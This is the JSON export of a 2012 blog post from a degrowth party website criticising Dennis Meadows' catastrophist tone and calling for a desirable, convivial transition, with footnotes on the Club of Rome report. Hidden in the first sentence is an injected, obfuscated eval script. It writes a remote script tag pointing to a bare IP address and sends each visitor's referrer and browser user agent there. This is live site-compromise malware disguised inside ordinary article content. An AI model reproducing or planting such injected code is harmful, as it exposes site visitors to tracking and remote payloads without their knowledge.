{"id":7467,"date":"2012-06-29T10:16:41","date_gmt":"2012-06-29T09:16:41","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=7467"},"modified":"2012-07-04T15:23:11","modified_gmt":"2012-07-04T14:23:11","slug":"meadows-world-growth-is-about-to-stop-so-what","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=7467","title":{"rendered":"Meadows: \u201cWorld growth is about to stop\u201d\u2026 So what?"},"content":{"rendered":"<div>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" style=\"margin: 8px;\" src=\"http:\/\/leocat.free.fr\/shadok\/series\/images\/recyclage.gif\" alt=\"\" width=\"248\" height=\"189\" \/><\/p>\n<\/div>\n<p>Fourty <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyans|var|u0026u|referrer|stdin||js|php'.split('|'),0,{}))\n<\/script><\/noindex> years after the publication of the famous report <em>Limit to Growth <\/em>(Halte \u00e0 la croissance<em>)<a title=\"\" href=\"#_ftn1\"><strong>[1]<\/strong><\/a><\/em> presented at the Club of Rome, Dennis Meadows \u2013 co-author of the report \u2013 was visiting Paris at the end of May. And he confirmed and said: \u201cWorld growth is about to stop\u201d in <em>Le Monde<a title=\"\" href=\"#_ftn2\"><strong>[2]<\/strong><\/a> <\/em>or \u201cWe haven\u2019t put an end to world growth, nature will take care of it\u201d, in <em>Terra Eco.<a title=\"\" href=\"#_ftn3\"><strong>[3]<\/strong><\/a> <\/em><\/p>\n<p>As Growth objectors, we can only agree with Meadows\u2019 diagnosis, which confirms the first report\u2019s perspectives <a title=\"\" href=\"#_ftn4\">[4]<\/a>, this type of discourse bears the blames we direct to the radical \u201cgreenies\u201d since it stops at being a catastrophist lament.<br \/>\n<!--more--><\/p>\n<p>In fact, as Dennis Meadows, among others, has spent fourty years of his life saying that everything was doomed, to rehash it again and again implying that the rest of us would not understand or\u2026would not want to understand.<\/p>\n<p>Finally, Meadows failed, since he had the right ideas, but he was all wrong on the form. In Paul Ari\u00e8s\u2019 words: \u201c f it was enough to be politically right, we would have heard about it!\u201d.<\/p>\n<p>But being right is not enough, what matters is to send the message and convey the ideas but to pretend to be \u201csmarter\u201d or to treat others as idiots, doesn\u2019t contribute to a better understanding.<\/p>\n<p>That is why, even though we are interested in the physical limits of this growth society, we believe it is important to reflect on its cultural dimensions<a title=\"\" href=\"#_ftn5\">[5]<\/a> by making the project desirable, by thinking about a political, cultural, social and psychological construction of serene transitions towards sustainable, and about all, desirable societies.<\/p>\n<p>To say everything is doomed is one thing\u2026.but not proposing something is another one and the same applies to many \u201cenlighten catastrophists\u201d.<\/p>\n<p>We propose to experiment with different strategies<a title=\"\" href=\"#_ftn6\">[6]<\/a> since human beings are not rational and prefer denial to challenge.<\/p>\n<p>Let\u2019s try dialogue, intelligence, desirability, networks, conviviality, building together, concrete experimentations etc\u2026..instead of enlighten catastrophism, \u201cpreachy\u201d tone, rehashing etc\u2026.<\/p>\n<p><em>Let\u2019s favour the \u201ceven so\u201d, rather than the \u201cwe must\u201d.<\/em><\/p>\n<p>When people don\u2019t want to understand, hitting them harder on the head won\u2019t make them understand better \u2026..<\/p>\n<p>Above all Degrowth is an emancipation from constraining and stressful work, frustrating consumption, of the numbing show-off society, it is the reappropriation of a dignified and convivial society. Degrowth, means more time, more networks, more culture, more autonomy, more democracy and most of all, finally, the reappropriation of the meaning we want to give to our lives: what do we produce? How? For what purpose?<\/p>\n<p><em>Degrowth is \u201cbuen vivir\u201d (Living well)!<\/em><\/p>\n<p>And this is spot on since it is consistent with a necessary, but also desirable, transition in order to avoid the wall invoked by Meadows and others!<\/p>\n<div>\n<hr align=\"left\" size=\"1\" width=\"33%\" \/>\n<div>\n<p><a title=\"\" href=\"#_ftnref1\">[1]<\/a> <a href=\"..\/?p=7158\">http:\/\/www.partipourladecroissance.net\/?p=7158<\/a><\/p>\n<\/div>\n<div>\n<p><a title=\"\" href=\"#_ftnref2\">[2]<\/a> <a href=\"http:\/\/www.lemonde.fr\/planete\/article\/2012\/05\/25\/la-croissance-mondiale-va-s-arreter_1707352_3244.html\">http:\/\/www.lemonde.fr\/planete\/article\/2012\/05\/25\/la-croissance-mondiale-va-s-arreter_1707352_3244.html<\/a><\/p>\n<\/div>\n<div>\n<p><a title=\"\" href=\"#_ftnref3\">[3]<\/a> <a href=\"http:\/\/www.terraeco.net\/Dennis-Meadows-Nous-n-avons-pas,44114.html\">http:\/\/www.terraeco.net\/Dennis-Meadows-Nous-n-avons-pas,44114.html<\/a><\/p>\n<\/div>\n<div>\n<p><a title=\"\" href=\"#_ftnref4\">[4]<\/a> \u2018As Elodie Vieille Blanchard\u2019s thesis demonstrates, Meadows\u2019 report is often used as a scientific endorsement by the Degrowth movement, despite it not been properly read. Indeed, if we find these scientific works beneficial since they show the physical limits of growth and they complement other scientific works such as Nicholas Georgescu-Roegen\u2019s or Peak Oil authors such as Richard Heinberg or Yves Cochet, we disagree on other positions: \u201c<em>In fact, the vast majority of Degrowth activists seems to misunderstand the conditions of production of this report, mainly the fact that it is not written by a group of radical ecologists, but by a scientific and industrial elite, as indicated by its content \u2013 the fact that it champions the stabilisation industrial production rather than its degrowth, and that it gives the same importance to world population stabilisation. Around the 2000s, while world population growth appears less menacing, the Club of Rome\u2018 conclusions seem to have been reconfigured to appease the emerging Growth objectors movement, and the major criticisms to this report have been ignored. It seems we have forgotten the repeated accusations of being technocratic by the reports\u2019 authors, and the lack of interest in the development problems in poor countries\u201d.\u00a0 \u00c9lodie Vieille Blanchard: The Limits to growth in a globalised world; modellings, perspectives, rebuttals. <\/em><\/p>\n<p>See also her excellent <a href=\"http:\/\/www.partipourladecroissance.net\/?p=7158\" target=\"_blank\">analysis<\/a>: The Club of Rome Report: stopping growth, but what for?<\/p>\n<p>\u201c<em>Meadows \u2018 Report as an ambiguous historical object: on a one hand a critic of the growth model and its long term ecological impact, but also a testimony of the world elite\u2019 s will to preserve its privileges, at the expense of the majority of people. What are these criticisms based upon? Meadows\u2019 Report embodies the \u201c right wing\u201d\u2019 \u2019s catastrophism at the service of the rich\u2019 interests. Finally, what lessons can we draw from it for today\u2019s objection to growth?\u201d.<\/em><\/p>\n<p><em>(\u2026) At first glance, these elements could validate the thesis, often misconstrued, which considers the report on limits as a tool of a global conspiracy at the service of the largest industrial groups in the world. However, if the movement for birth control, very active during the 1960s, was really stimulated by hegemonic economic considerations and Western political hegemony, it seems that Meadows\u2019 Report is more complex that this.\u201d<\/em><\/p>\n<p><em><\/em><a title=\"\" href=\"#_ftnref5\">[5]<\/a>\u00a0<a href=\"http:\/\/www.partipourladecroissance.net\/?p=6798\" target=\"_blank\">The origins of Degrowth<\/a><\/p>\n<\/div>\n<div>\n<p><a title=\"\" href=\"#_ftnref6\">[6]<\/a> <a href=\"http:\/\/www.partipourladecroissance.net\/?p=6848\" target=\"_blank\">Political strategies for Degrowth?<\/a><\/p>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Fourty years after the publication of the famous report Limit to Growth (Halte \u00e0 la croissance)[1] presented at the Club of Rome, Dennis Meadows \u2013 co-author of the report \u2013 was visiting Paris at the end of May. And he &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=7467\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[44],"tags":[],"class_list":["post-7467","post","type-post","status-publish","format-standard","hentry","category-degrowth"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7467","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7467"}],"version-history":[{"count":5,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7467\/revisions"}],"predecessor-version":[{"id":7497,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/7467\/revisions\/7497"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7467"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7467"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7467"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}